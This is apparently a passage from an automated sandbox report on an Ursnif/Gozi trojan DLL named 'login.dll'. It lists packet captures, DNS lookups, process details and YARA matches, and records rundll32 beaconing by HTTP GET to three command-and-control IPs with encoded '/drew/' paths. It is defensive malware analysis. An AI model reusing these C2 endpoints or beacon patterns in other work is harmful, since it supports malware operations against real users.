                Feb 7, 2023 08:28:53.751841068 CET4970280192.168.2.331.41.44.76
                Feb 7, 2023 08:28:53.816400051 CET804970231.41.44.76192.168.2.3
                Feb 7, 2023 08:28:54.585978985 CET4970380192.168.2.331.41.44.76
                Feb 7, 2023 08:28:54.656559944 CET804970331.41.44.76192.168.2.3
                Feb 7, 2023 08:28:54.656718969 CET4970380192.168.2.331.41.44.76
                Feb 7, 2023 08:28:54.657052040 CET4970380192.168.2.331.41.44.76
                Feb 7, 2023 08:28:54.725689888 CET804970331.41.44.76192.168.2.3
                Feb 7, 2023 08:28:54.725752115 CET804970331.41.44.76192.168.2.3
                Feb 7, 2023 08:28:54.725923061 CET4970380192.168.2.331.41.44.76
                Feb 7, 2023 08:28:54.731472969 CET4970380192.168.2.331.41.44.76
                Feb 7, 2023 08:28:54.800170898 CET804970331.41.44.76192.168.2.3
                Feb 7, 2023 08:29:02.662204981 CET4970480192.168.2.331.41.44.76
                Feb 7, 2023 08:29:02.728537083 CET804970431.41.44.76192.168.2.3
                Feb 7, 2023 08:29:02.728769064 CET4970480192.168.2.331.41.44.76
                Feb 7, 2023 08:29:02.729134083 CET4970480192.168.2.331.41.44.76
                Feb 7, 2023 08:29:02.795015097 CET804970431.41.44.76192.168.2.3
                Feb 7, 2023 08:29:02.795047998 CET804970431.41.44.76192.168.2.3
                Feb 7, 2023 08:29:02.795232058 CET4970480192.168.2.331.41.44.76
                Feb 7, 2023 08:29:02.795401096 CET4970480192.168.2.331.41.44.76
                Feb 7, 2023 08:29:02.860723972 CET804970431.41.44.76192.168.2.3
                Feb 7, 2023 08:29:09.597848892 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:09.666717052 CET804970531.41.44.76192.168.2.3
                Feb 7, 2023 08:29:09.668184042 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:09.669739008 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:09.738111973 CET804970531.41.44.76192.168.2.3
                Feb 7, 2023 08:29:09.738339901 CET804970531.41.44.76192.168.2.3
                Feb 7, 2023 08:29:09.738508940 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:09.738673925 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:10.043045998 CET4970580192.168.2.331.41.44.76
                Feb 7, 2023 08:29:10.111498117 CET804970531.41.44.76192.168.2.3
                Feb 7, 2023 08:29:13.463396072 CET4970680192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:13.526670933 CET8049706194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:13.526988983 CET4970680192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:13.527447939 CET4970680192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:13.590641022 CET8049706194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:13.590828896 CET8049706194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:13.590972900 CET4970680192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:13.591078043 CET4970680192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:13.654257059 CET8049706194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:14.752721071 CET4970780192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:14.814714909 CET8049707194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:14.814840078 CET4970780192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:14.817214966 CET4970780192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:14.879116058 CET8049707194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:14.879196882 CET8049707194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:14.879273891 CET4970780192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:14.879359007 CET4970780192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:14.941114902 CET8049707194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:22.816107988 CET4970880192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:22.878808022 CET8049708194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:22.879266024 CET4970880192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:22.880194902 CET4970880192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:22.941931009 CET8049708194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:22.942015886 CET8049708194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:22.942104101 CET4970880192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:22.942468882 CET4970880192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:23.005084038 CET8049708194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:29.750041962 CET4970980192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:29.813261986 CET8049709194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:29.813363075 CET4970980192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:29.813831091 CET4970980192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:29.877707958 CET8049709194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:29.877762079 CET8049709194.116.163.130192.168.2.3
                Feb 7, 2023 08:29:29.882286072 CET4970980192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:29.882579088 CET4970980192.168.2.3194.116.163.130
                Feb 7, 2023 08:29:29.944278002 CET8049709194.116.163.130192.168.2.3
                Feb 7, 2023 08:30:54.700218916 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:54.763406992 CET8049710185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:54.763617039 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:54.764008999 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:54.826426029 CET8049710185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:54.827476025 CET8049710185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:54.827558994 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:54.827672005 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:54.972615004 CET4971180192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.035820007 CET8049711185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:55.035938025 CET4971180192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.036359072 CET4971180192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.099216938 CET8049711185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:55.099534035 CET8049711185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:55.099615097 CET4971180192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.102375984 CET4971180192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.137022018 CET4971080192.168.2.3185.31.160.197
                Feb 7, 2023 08:30:55.165319920 CET8049711185.31.160.197192.168.2.3
                Feb 7, 2023 08:30:55.199807882 CET8049710185.31.160.197192.168.2.3
                Feb 7, 2023 08:31:04.321018934 CET4971280192.168.2.3185.31.160.197
                Feb 7, 2023 08:31:04.384356976 CET8049712185.31.160.197192.168.2.3
                Feb 7, 2023 08:31:04.384505987 CET4971280192.168.2.3185.31.160.197
                Feb 7, 2023 08:31:04.384826899 CET4971280192.168.2.3185.31.160.197
                Feb 7, 2023 08:31:04.447715044 CET8049712185.31.160.197192.168.2.3
                Feb 7, 2023 08:31:04.447796106 CET8049712185.31.160.197192.168.2.3
                Feb 7, 2023 08:31:04.447910070 CET4971280192.168.2.3185.31.160.197
                Feb 7, 2023 08:31:04.448004961 CET4971280192.168.2.3185.31.160.197
                Feb 7, 2023 08:31:04.512223005 CET8049712185.31.160.197192.168.2.3

                UDP Packets

                TimestampSource PortDest PortSource IPDest IP
                Feb 7, 2023 08:27:12.963687897 CET6270453192.168.2.38.8.8.8
                Feb 7, 2023 08:27:13.003364086 CET53627048.8.8.8192.168.2.3
                Feb 7, 2023 08:27:14.226291895 CET4997753192.168.2.38.8.8.8
                Feb 7, 2023 08:27:14.256221056 CET53499778.8.8.8192.168.2.3
                Feb 7, 2023 08:27:22.295803070 CET5784053192.168.2.38.8.8.8
                Feb 7, 2023 08:27:22.315658092 CET53578408.8.8.8192.168.2.3
                Feb 7, 2023 08:27:28.173953056 CET5799053192.168.2.38.8.8.8
                Feb 7, 2023 08:27:28.196212053 CET53579908.8.8.8192.168.2.3
                Feb 7, 2023 08:29:33.632884979 CET5238753192.168.2.38.8.8.8
                Feb 7, 2023 08:29:34.646517038 CET5238753192.168.2.38.8.8.8
                Feb 7, 2023 08:29:34.655160904 CET53523878.8.8.8192.168.2.3
                Feb 7, 2023 08:29:34.667076111 CET53523878.8.8.8192.168.2.3
                Feb 7, 2023 08:29:34.915838003 CET5692453192.168.2.38.8.8.8
                Feb 7, 2023 08:29:34.936496973 CET53569248.8.8.8192.168.2.3
                Feb 7, 2023 08:29:42.971688986 CET6062553192.168.2.38.8.8.8
                Feb 7, 2023 08:29:42.990129948 CET53606258.8.8.8192.168.2.3
                Feb 7, 2023 08:29:49.929243088 CET4930253192.168.2.38.8.8.8
                Feb 7, 2023 08:29:49.947096109 CET53493028.8.8.8192.168.2.3

                ICMP Packets

                TimestampSource IPDest IPChecksumCodeType
                Feb 7, 2023 08:29:34.667155027 CET192.168.2.38.8.8.8d04a(Port unreachable)Destination Unreachable

                DNS Queries

                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                Feb 7, 2023 08:27:12.963687897 CET192.168.2.38.8.8.80xccb1Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:14.226291895 CET192.168.2.38.8.8.80x7d11Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:22.295803070 CET192.168.2.38.8.8.80xa902Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:28.173953056 CET192.168.2.38.8.8.80xeee9Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:33.632884979 CET192.168.2.38.8.8.80xabd4Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:34.646517038 CET192.168.2.38.8.8.80xabd4Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:34.915838003 CET192.168.2.38.8.8.80x54e3Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:42.971688986 CET192.168.2.38.8.8.80x4cc5Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:49.929243088 CET192.168.2.38.8.8.80x4d22Standard query (0)checklist.skype.comA (IP address)IN (0x0001)false

                DNS Answers

                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                Feb 7, 2023 08:27:13.003364086 CET8.8.8.8192.168.2.30xccb1Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:14.256221056 CET8.8.8.8192.168.2.30x7d11Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:22.315658092 CET8.8.8.8192.168.2.30xa902Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:27:28.196212053 CET8.8.8.8192.168.2.30xeee9Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:34.655160904 CET8.8.8.8192.168.2.30xabd4Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:34.667076111 CET8.8.8.8192.168.2.30xabd4Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:34.936496973 CET8.8.8.8192.168.2.30x54e3Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:42.990129948 CET8.8.8.8192.168.2.30x4cc5Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false
                Feb 7, 2023 08:29:49.947096109 CET8.8.8.8192.168.2.30x4d22Name error (3)checklist.skype.comnonenoneA (IP address)IN (0x0001)false

                HTTP Request Dependency Graph

                • 185.31.160.197
                • 31.41.44.76
                • 194.116.163.130

                HTTP Packets

                Session IDSource IPSource PortDestination IPDestination PortProcess
                0192.168.2.349698185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:33.230643988 CET104OUTGET /drew/YnuOM5xT27p0PmRl1Cwn/sHfpKrHtm3IGAqKf5oE/1_2FQ7swiV75HAr8OQp4_2/FTJuvvpsJ4vrE/5CHodcYH/FvKE3Awud_2FuI6D8RC4vxO/jlBJVJhS1W/kWWybhfV9ayTjhbnf/bYlxgQ0l6E5_/2Be4zTGPJXY/1jOL3CdqlKh9V7/C3fq9ZEtYfl8Q_2BXYnQR/ZutaXynzRXd4iLId/_2BYxjCGmLsaVaV/ijuyPyyQi_2FEga3LP/wr7j4_2Fp/DHPaKLP54f0U3CWbY84f/moy8sWWVBKAm6XbHQuu/smXEt13.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                1192.168.2.349699185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:34.491511106 CET105OUTGET /drew/wzfz6aqE91_2FPw/RqnAtsnMZna_2BIbBs/SNBnOyk8f/9XZhNd9LqZMgObDy7PFG/DRHKXC9gZmiMRTyysYi/MDWwBphU1_2F4nDtPCwb7Q/d2SnzYa3MGBY0/YibZ_2BM/j6T2h_2BnsnstyqO_2FdZkB/f46qik_2BK/_2F_2B_2FqlG_2Ff_/2FUcQnSgjIge/QPz1KCD9GeI/UkTDE6hQf5nEi3/mZoYVayKfEJLWN9ucg88R/I4BoM1NdGVsllvKy/8qL9zvI3U3rVf09/ugaVsxQgobuqMU7KMf/DgyN9EOdWaey/ukl7G09K/W.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                10192.168.2.349708194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:22.880194902 CET114OUTGET /drew/Qf8veUJSbJWr/7lAEj8zPysi/PkDl25ePqDI0mO/NCCWESxolfgmnP22UsTr8/wqLYFq_2BxIKE1eW/qSpp9_2B5sFoBDM/Qqs0G5It1nbxCoX126/y2EL52tIQ/ox_2FFB5mgE6T239nJXG/k9kwxCZbCeCFO2jL1kR/x1fMQ88Ph64gkQxb3NmmiZ/GmsAvbJmVh0Jm/tws4Qzjc/z_2FnaryumtjXFtwB2yfxF5/XDoip4vmKE/LjA3gkWhyM_2BI5L7/uM2W4YAxbdGx/OzOP5CNWAKZ/765rFe2Xu_2BfT6/mGCq.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 194.116.163.130
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                11192.168.2.349709194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:29.813831091 CET115OUTGET /drew/eUcYRRyEn9Dhlv/T6qABTB_2BbZOiamIgn6B/dIkxlL9bCAiMPoUN/3qhTBAdV3Iaj33D/JoRdgHk6ziLW6Wozye/OWcDzaPJY/rw8Pod_2BMtE4szTIJ5X/MY4ouzpH7n8LGW8vzym/pdU5IXdpzFO54gr3_2F97n/SVVjHicscA15t/l6VtmWpP/71vHxqjc99D6co7U7_2Fe6g/n1qCYEFXGL/KpBZjIAujeCiOYPPJ/DtliWKU_2BEs/C_2BudJz9AO/WcvMnXMUPqAgay/OXgiy11BNNdmXwccKrHVq/3wydv2y.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 194.116.163.130
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                12192.168.2.349710185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:30:54.764008999 CET118OUTGET /drew/WssPGtPw9/cInsr4z6sL58bW1qFACy/FPGytKj5sF_2FJhHDbS/JMVb_2F9jtmGpLuldBc30T/geFSag0kzmRYH/bkk9mxLu/T1Vk5rnPNwJhQZh14vDt0p5/P_2B1hkVRr/UipQ1gxWfytKWu_2F/6BcCYE5HNWOT/zEWstqB3_2B/DtUz5JgsOCfC_2/FsybDaKHmMdU1vCLMfI5x/6SHr0VZWsd3ZSFoq/_2FoNuCdDOJjmcC/wYxb3p1qFp9rBbBBCA/RR6vk5u_2/BuskSJGsdXgk1UBg9plO/yWHXNMOtiR1Ac4/RuM.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                13192.168.2.349711185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:30:55.036359072 CET119OUTGET /drew/Tz9n1dmZ/vhyDffgRbPFiQUKdNHDsszs/oBLo_2BleA/tMQ3aixNhr6UNbec_/2FiallgqrErm/5nEhtgG7Hp2/zbOXjiri8c5UQP/HwViNu2EHfWxjBwk3As1s/29DojuZF5zhJISfQ/H3WqudbNq23cuko/N6r3xnulzXgdgfn7r3/iMzXt36Pz/hTsJCgysUP32NXqzsCHB/WEkiHTP3N6okgNckR9a/O3kCLqh9_2BveKs4VkbfTJ/dliNqPNdIvs8S/MeBvpSBz/csPLNKavKSKaNIKnwbXXUim/YNfJ4.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                14192.168.2.349712185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:31:04.384826899 CET120OUTGET /drew/ppXmNkbUPMM_/2FM2Xr4sEFa/a728DULR3atqUC/bCL0HSUo53lWl2sLhbZts/o4scwq5OfKTrPD7t/UNAyP4fNA8XBP_2/BEX8k2kScpq7rqtuOe/2f7ZPTT_2/F6BHRL3gYxmumqorkkWG/rJZVOQ2zsqPZd1oqtTm/2lWGLTzP5T9wSu9ihKmOOe/sA8wq_2BbQ7ZL/HW_2BHK4/vjbEvpA5pCLOG2sfsa3yOjK/i9jYWumAJ5/a5d9BrpDEc_2B7rVr/UDCuuI34JOdU/BOrtAjLf6_2/FX7Nl_2FoRH3A/XxFg0SxFF/C.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                2192.168.2.349700185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:42.568212986 CET106OUTGET /drew/ZjtQC4I6JpAmKA/shomVIZDW6adTf3wvhQQM/XpDTW2_2BvYwSuTA/CcCSiHnloLUnuOd/nHOnFSS4oDhB9LKTz4/EbcJkQjsj/31x_2BMGIf4fzrhyKm1i/PYUgpXsGkrpzf57_2BP/_2BaOfiBbQWVNNpD2JWxuq/LvCFSRMp622qP/ryji2IUB/uo2rKyguYrE4da_2FMANukU/IP9j47UKC0/7W20oOz86Rs7mAnVP/W222Dtx9Q_2F/74bAp065zTq/pvNG5UWqmIK2kj/IicnzIIs5xLn78iTxatX9/CmOTqWu.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                3192.168.2.349701185.31.160.19780C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:49.502613068 CET107OUTGET /drew/U90nK8AqS_/2BeXJWfUloJOoPKdp/j_2FzV_2BNMQ/16ONka6iz7_/2BJpKQqJqYoDI0/iTYSpKl48rwMxG3fS_2Bh/kyZDOxqU4b_2FpF4/WoAtYbEKP2GNHwJ/IpgKqUcAf6Rp2Udzmk/LaML_2FTW/lYRaZ_2BK5ar8SZhZsu5/_2BxBTtQn722DxwGyVC/pVSF1NREJUJBkD37zO9rNZ/zFf3wm2ZVOuZj/EYr3Y1KR/mPXfKnLCL_2BrxjlwGgxBlT/8pNS8_2BGz/EzV33yjOW6jnBdU_2/FcxIS0uffSkY/8y8vXK3ZLX7jmj/L.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 185.31.160.197
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                4192.168.2.34970231.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:53.381020069 CET108OUTGET /drew/YiQ5UyNb1AJgnvxjy_2BM/RlH5WVve6OZwHuHV/nWvcJh7IwU8V_2F/BAKhUnv4WDO432I6Cy/hDkFT5W1K/UJNhYmXmogUNCrCSqk5H/lS4rHem3dtLce0YT1QS/hkZ_2FBKDoY9IQgRqEdbQJ/3CyYFvLdQzHVg/x7rsQTcN/W7sIIHrQcumHRyF3UrWRrg1/4VahkAPD5t/oKgqaEX091n4L_2F5/fCfjur48K8Qg/sG5u_2FUEjo/pZ6TXsstKDeNva/ND7kaJkrgLTjxReq37gkL/qhhWkG_2Bnto3f/e4V_2BaI/1.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 31.41.44.76
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                5192.168.2.34970331.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:28:54.657052040 CET109OUTGET /drew/FTA3NwjN5Is/OK8jYhA3hTe0hF/OOVFdYLfIpqdpltBh8Ojp/UgjUYE_2Bw6RPwIi/Xi6qsIy_2FsWhRs/_2BrPOgzoCK7kxbVkt/oe_2BqS0X/nJkE02wURCRcr3jmcRLy/EThsMigo1zfS9ty0ee_/2ByStDMdmFmYA3tiMo12kA/KlC_2FTJrPIRb/oDPOe247/qLaUvbKqJn0IyrixuXOD916/hv1gsxxC3Y/5zpLW0YacAYowmRRR/IpB6xQpV8yYA/5T1p4hnGVC4/5TMFifNpxbmTmv/g3suENklraBwgzMg/w.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 31.41.44.76
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                6192.168.2.34970431.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:02.729134083 CET110OUTGET /drew/9ldJ1gNErtKQm/l5H3Dchh/a9qDKYJb7cK_2Bom3umM3Ef/igE6eKTjTL/sM2RKHr6eeCJgV2M_/2Btmb2QJYdsy/pwOZ0ePX_2F/1SJLCuAp0_2BGo/MB_2FlNwbKUb4XpI1RSx7/2gEZl2vbzfIAt6DE/EVukzyfE91n3kr0/nv2arCnMEYPJTvV2vj/Iw9YoywE2/nqt_2BF28XHfDbaLVr0S/hkIav6Fl_2BCPTRld8o/O8WvbV3Lrnw_2BgKsKzO5M/wdeSHSWNd9WmC/pMMFvCmx/_2B20NmtBVG0is9VnZ_2FQ7/j4avM4.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 31.41.44.76
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                7192.168.2.34970531.41.44.7680C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:09.669739008 CET111OUTGET /drew/vr_2B0Ss/hnAfqRh8WqONqQTajFZspU1/n47dz3bnIJ/nr8avK457NdUiLqTL/ZRUWzmBgh_2F/l2jCI4l2WIb/ZlcAov2mWHtc4S/IG5qrKW1Ucsl7HXDhkMb1/UuHpO9lWfV8IVisA/sRsBPsEmP9EnOLW/4DYnyZIHkFVSNadLYL/KhWfwPGS0/z_2BGNhOv1Zl_2FVwYsz/N9ptvDeoH0GEOu8UzRp/tA_2FymU7H4cLFwKrxJBW8/lEpnlzJEfo_2B/TkI4tuDd/jl9PFma2CyccawGQrYOkvDD/r_2F6X4O31/J7n.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 31.41.44.76
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                8192.168.2.349706194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:13.527447939 CET112OUTGET /drew/lIwih8DgqvU8q/wBSeo3Ik/2zDJI9Vfh8aCFQbpIGY1Gz5/6q81ddOtq2/4ULtrIM_2BEdMCi_2/B3LtElUMjUq8/ykAcaKXUUON/C70tYww8NuU_2B/Qnh1skDTZkUCnTL9XF_2B/aiyp8l662ZO_2BMs/X9BekuAIwiuALz2/v_2BTtX2yyeEbmIuLE/7WgtmmHUz/QkNTxGWjmb27vMlbCUnP/gKCziHhf8nzBjzpOWIV/c0bqvUD_2FGIpZbFRXCt82/x01HXQ2nbZghY/do8q6AUT/ilguTeIeFEYE/ruKVa85Vts/p.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 194.116.163.130
                Connection: Keep-Alive
                Cache-Control: no-cache


                Session IDSource IPSource PortDestination IPDestination PortProcess
                9192.168.2.349707194.116.163.13080C:\Windows\SysWOW64\rundll32.exe
                TimestampkBytes transferredDirectionData
                Feb 7, 2023 08:29:14.817214966 CET113OUTGET /drew/HIHyOZaztkkTmnx6Mw/9MlizCN9J/JSBGWtu864PKuiumaFRn/mm91ypSGeROZm1zayEc/UVp3Gh3ls9EFwLl5Jc3BZN/nGUe5TcWlRkhl/Vbch5ltk/8hxF3_2Bp3HJgW9iErNujVg/8qo57FnWLw/M00mJuAkLwqexX60_/2Ba6EndxloMt/uW3YZxSkfRY/M53qt3qEulUeT4/fTMrLhRVTec_2FdJ5jp6x/nB5Wk73hWf1u6uat/Iu7q3DTCQdUsQRD/i2qOhoPPYn3YePHW7u/xqbc969YZhc3G/cPhv8.jlk HTTP/1.1
                User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)
                Host: 194.116.163.130
                Connection: Keep-Alive
                Cache-Control: no-cache


                Statistics

                CPU Usage

                Click to jump to process

                Memory Usage

                Click to jump to process

                High Level Behavior Distribution

                Click to dive into process behavior distribution

                Behavior

                Click to jump to process

                System Behavior

                General

                Target ID:0
                Start time:08:27:04
                Start date:07/02/2023
                Path:C:\Windows\System32\loaddll32.exe
                Wow64 process (32bit):true
                Commandline:loaddll32.exe "C:\Users\user\Desktop\login.dll"
                Imagebase:0xac0000
                File size:116736 bytes
                MD5 hash:1F562FBF37040EC6C43C8D5EF619EA39
                Has elevated privileges:true
                Has administrator privileges:true
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Gozi_fd494041, Description: unknown, Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: Windows_Trojan_Gozi_261f5ac5, Description: unknown, Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
